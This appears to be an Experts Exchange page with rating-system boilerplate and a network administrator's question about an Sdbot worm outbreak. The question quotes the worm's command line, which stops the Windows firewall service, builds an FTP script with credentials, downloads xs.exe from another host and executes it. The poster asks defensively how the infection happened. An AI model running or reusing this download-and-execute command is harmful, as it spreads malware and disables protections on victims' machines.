The Solution Rating System

With so many solutions, how can you tell which solutions are most likely to help you and which ones are not? To provide you with a tool to use, we rate our solutions based on various elements that most accurately determine if a solution is a quality solution. To explain what factors affect the solution rating, here are the elements we take into consideration when formulating our solution rating.

  • The Grade of the Solution
  • The Zone Rank of the Expert Providing the Solution
  • The Number of Author and Expert Comments
  • The Number of Experts Contributing
  • The Feedback of the Community

Your Input Matters
Because of the way the system is set up, the most important variable in this equation is you. As a member of Experts Exchange, you are able to cast your vote on the quality of the solutions in regard to how complete, accurate, helpful and easy to understand each solution is. When you provide your feedback, each rating is adjusted accordingly. So, if you see a solution that has a poor rating that you think is a good solution, let us know by rating it. As you do, the rating will be adjusted and will become more accurate for other members of our site.

If you have any suggestions that you would like to make for our rating system, please ask a question in the Suggestions Zone of Community Support.

Thank you!

FTP Virus

Asked by mcrossland in Anti-Virus, File Transfer Protocol (FTP)

Tags: d3m0n3, d4rk3v1l, net

This morning almost all of my computers on my network encountered the W32/Sdbot.worm!ftp virus.  This seems to be quite an old virus and didn't seem to cause any harm as Mcafee caught it.   Mcafee's website doesn't seem to have alot of information about this virus or what to do to clean or prevent it from happening again.  I feel like I have egg on my face the very day after Christmas because of this.  If anything, I want to be able to tell the CEO how this virus was obtained.  I found a laptop that the dos command was pointing to and pulled it from the network.  It showed that it found a virus but a full scan didn't produce anything at all.
On several machines, the virus launched task manager and ran a command promt like this.
C:\WINDOWS\system32>cmd /c net stop SharedAccess &echo open 192.168.1.42 64736
>> ij &echo user d3m0n3 d4rk3v1l >> ij &echo get xs.exe >> ij &echo bye >> ij &ftp -n -v -s:ij &xs.exe &net sta

Looks like it was trying to disable the windows firewall.  I checked on several of the PC's and it did not turn off the firewall.  Virus scan popped up and prevented the execution of the exe.  I don't understand the d3m0n3 d4rk3v1l part of the script.  I would like to understand that also.

So, my questions are:  How did the command prompt script even run on the pc's?
Is there something that I can do to prevent this same thing from happening again?
How did we get this virus?  
I'm assuming that the pc that has the first time stamp of the virus is the culpret.
But how did it get the virus?
